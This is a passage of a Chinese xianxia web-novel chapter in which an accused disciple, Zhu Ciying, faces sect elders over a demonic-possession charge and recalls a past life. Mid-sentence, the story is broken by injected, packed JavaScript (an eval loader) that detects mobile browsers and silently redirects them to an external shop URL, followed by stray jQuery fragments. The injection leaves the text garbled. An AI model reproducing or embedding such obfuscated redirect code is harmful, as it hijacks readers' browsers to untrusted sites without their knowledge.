六月初六。
豫州·少阳宗。
“咣当——”
比武台上,白衫少女长剑脱手,被击飞数丈之远。
“师妹!”
“曲师姐!”
耳畔是此起彼伏的惊呼,曲挽青重重咳几声,兀地吐出一口血。
“师妹。”她忍着剧痛朝某个方向看去,目光深沉。
祝辞盈手中握着一根玉箫。
暖风吹拂,她略微垂首,神色难辨。
台下的人离得远,曲挽青却看得清楚,她的双眼是不同寻常的血红。
盈盈师妹。
她张了张嘴,发不出声音。
放眼四岛三十四州,谁人不知,猩红双眸是魔族独有的,标志性特征。
师妹分明是入魔了。
“快,快叫长老来。”曲挽青向台下弟子传音。
最终因为体力不支,昏死过去。
*
乌云成群结伴笼罩天空,鸟雀低飞,几声闷雷过后,空气中逐渐弥漫一股燥热的气息。
戒律堂屋顶,一侧的飞檐上,约摸伫立着十多只金灿灿、被雕刻得栩栩如生的神兽。小雨淅淅沥沥,落在瓦片上方,发出“滴答滴答”的声音。
祝辞盈抬抬手,束缚四肢的铁链“哗啦哗啦”作响。
铁链材质特殊,表面泛着金光。
金光之中,数百个符文在缓慢流转。
她的灵力尽数被其封印。
被关三日,她细白的手腕一片红肿,稍一动身牵动伤口,那钻心的痛感仿佛有一把锋利的刀刃镶入皮肉来回翻转。
“堕入魔道!打伤同门!”
“你可知错认错?”
白发老者坐于高台之上,声线粗哑,语气耐人寻味。
“于长老消消气。”
李文元一面安抚他,一面主持局势:“关了三日,想必她身上的魔气已经被镇魔链压制住了。”
他挥手,一道灵力从掌心飞出,落在铁链上。束缚祝辞盈的黑链霎时间断成几截化作星芒消失不见。
祝辞盈顺势跪坐在地上。
少女十七八岁的年纪,身穿一件金黄色的纱裙,外套月白色大袖衫,背后点缀一朵金丝绣成的桂花。
她垂着脑袋,头上插着的金雪玉簪摇摇欲坠,额前偶有几缕碎发垂落,遮住她的眼睛。
片刻过去,她一言不发,沉默的像一个木偶。
堂内陷入诡异般的沉静。
怎么回事?李文元悄悄捏了一把手心的汗,顿觉事情变得有些棘手。
白发老者名叫于伯英,是门内七位长老之中最为德高望重的老人,同时也是曲挽青的师尊。少阳宗人尽皆知的护短、脾气差。
祝辞盈敢打伤他的宝贝徒弟,可算是撞到枪口上了。
因为迟迟没有得到回音,于伯英重重“哼”了一声。他腾地站起身,眼眸一眯正要发作,却见台下终于出现一点动静。
少女幽黑的眼珠轻微转动,盛满死寂的目光中涌出一片清明之色。
祝辞盈摊开手,目光凝在掌心纹路。
因祸得福,她想起一段三百年前的往事,准确地说,那是她前世的记忆。
十一岁拜入清微宗,修习剑道。
半年后,仙魔大战爆发,师尊开启守山大阵苦守七日。
第八日,阵法被破,师门上下七十二人除去她和尚未出关的大师兄,全部战死。
师尊将阵眼藏在她身上,阵破,术法反噬摧毁她的七经八脉。
她抱着师兄的玉凰剑,周围是数以万计的妖魔。
她答应师尊要等到师兄出关,于是拼尽浑身解数,哪怕本命灵剑断折,剑骨被挖,以及陷入绝境时使出兵解之术,身死魂消。
祝辞盈轻轻阖上眼。一瞬间,她感受到胸腔里剧烈起伏的心脏,浑身沸腾流动的血液和丹田内充盈澎湃的灵力。
兵解之术乃是燃烧修为同归于尽的亡命禁术。她死时魂魄消散,怎可转生?
祝辞盈抬手按住突突直跳的太阳穴,往事一幕幕在脑海中浮现,如观看走马灯般按着顺序,桩桩件件历历在目。
真实的像昨天才发生的事。
黄粱一梦也好,庄周梦蝶也罢。
她都不再是清微宗年龄最小、人人宠爱的天才小师妹,而是自小生长在少阳宗的祝辞盈。
提及少阳宗,她的思绪猛然回到三日前的宗门大比,曲挽青被失控的自己一掌拍飞,因此受伤。
前世的恩怨情仇暂且先放一放。
眼下长老们等着跟她要说法。
祝辞盈缓缓抬头。
台上一共有三位长老,除了站着生闷气的于伯英,儒雅随和的李文元,还剩一个她眼熟的冯见山。
冯见山与她的师尊相交甚密,可这回她捅了这么大篓子,心里也没有十足把握他会站在自己这边。
“于长老,你先坐下消消气。”
李文元扶他坐回椅子,转头看向下方跪在地上的少女。
他略微斟酌了一下用词,问道:“祝辞盈,凡事都要讲究公平公正,一场同门之间相互切磋的比试罢了,胜就是胜,败就是败,何必如此较真?”
祝辞盈眼底闪过一丝诧异。
李长老的话是在暗示她因为心性不稳嫉妒心强,所以失了分寸打伤同门。完完全全将她身负魔气的事撇得一干二净。
明显是想大事化小。
“哼!”于伯英拂袖,没好气地瞪他一眼,然后又把矛头指向祝辞盈。
“我看你小小年纪,修为资质还算上乘,心性却差的出奇!”
“比试输了就是输了,说到底是你技不如人,日后好好修炼赢回来便是,可你呢,因为一时的不甘心和妒忌,竟然罔顾门规、勾结魔族、蓄意打伤同门!”
“你,你简直胆大妄为!”
勾、结、魔、族。
祝辞盈反复咀嚼这四个字。
魔。
“轰隆——”
一道闪电划开天幕,屋内白光乍现,照亮她的眼睛。
目光如镜,灵动清澈。
“长老,我并未与魔族勾结。”她说。
“没有勾结魔族?”于伯英两指一并直指她的面门,“当日比试有那么多弟子在场,他们都说亲眼目睹你魔气萦身,实力突飞猛涨打伤青儿!如何做得了假!”
祝辞盈目光不偏不倚地与他对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340404|152611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
视。
她深知于长老这会正气在头上,无论自己作何辩解都是火上浇油。
况且,他说的都是事实。她的确魔气缠身打伤曲挽青,当日许多观看比试的弟子都可作证。
她看看台上三人,最终把视线落在冯见山身上。
冯见山冷不丁接收到她的目光,眼皮重重一跳,心中更是五味陈杂。
盈盈这不省心的丫头,从小到大哪次闯祸不是他和玉隐真人帮忙善后。
大祸,小祸他不觉麻烦。
偏偏这回,她的师尊玉隐真人不在少阳宗。
但他既然答应玉隐真人多多照拂她,那便不会袖手旁观。
“于长老稍安勿躁。”冯见山出言安抚于伯英,“我有几个问题想问她。”
于伯英摆摆手,示意他赶紧问。
牵扯到魔气,处理起来有些棘手。冯见山一边在心底思量对策,一边对她抬了抬手:“站起来回话。”
祝辞盈以手撑地借力站起身。衣裙遮掩之下,她的膝盖青紫,双腿止不住地发抖。
冯见山问出第一个问题:“祝辞盈,你入我少阳宗修道养性十八载,资质尚可,悟性良佳,因何入魔?”
入魔的原因,她自己也一头雾水。
甚至连魔气是怎么来的都不知道。
记忆里,她这十八年一直待在少阳宗,从未下过山接触过妖魔之类。
究竟是什么时候被钻的空子?
“长老,关于我身上的魔气从何而来,我并不清楚。但我能向你保证一点,我绝不会与妖魔勾结。”
冯见山若有所思,又问:“打伤曲挽青可是你有意为之?”
祝辞盈否认:“不是。”
“青儿的经脉差点被你废掉!你还敢说不是有意为之。”于伯英拍拍木椅扶手,眼底红丝密布,“我少阳宗门风正派,其中不乏做事光明磊落的弟子,怎会教出你这种敢做不敢当谎话连篇的败类!”
这话可就说的难听了。
冯见山压下心中愤懑,料想到他年纪大护犊子又性子倔鬼难缠,深吸一口气,不得已启用杀手锏——他最后的底线。
“于长老,是真是假测一测不就知道了。”他问祝辞盈,“肉身可以口是心非,神魂却不会说谎。祝辞盈,你可愿接受清心阵检验?”
清心阵?堂内三人神色各异,显然都知道它的用途。
清心阵是远古大能开创的一种专门用来审判人心的阵法,拿来测谎虽然有些大材小用,却是目前最合适不过的法子。
但它唯一的缺点是需要受审之人生生剥离出自己的神魂,因而整个审判过程异常煎熬,能坚持下来的人少之又少。
如果经过清心阵审问仍不能洗刷冤屈,那她即便是死,也要背负“蓄意打伤同门,勾结魔族”的污名。
堂外电闪雷鸣,暴雨将至。
于伯英点点头:“就按你说的办。”
李文元默不作声,算是认可。
他二人,一个步步紧逼,一个袖手旁观。
祝辞盈无路可退。
片刻,她挺挺酸疼的脊背,抬眸直勾勾地看向高台,声色坚定道:“若是能证明我的清白,自当一试。”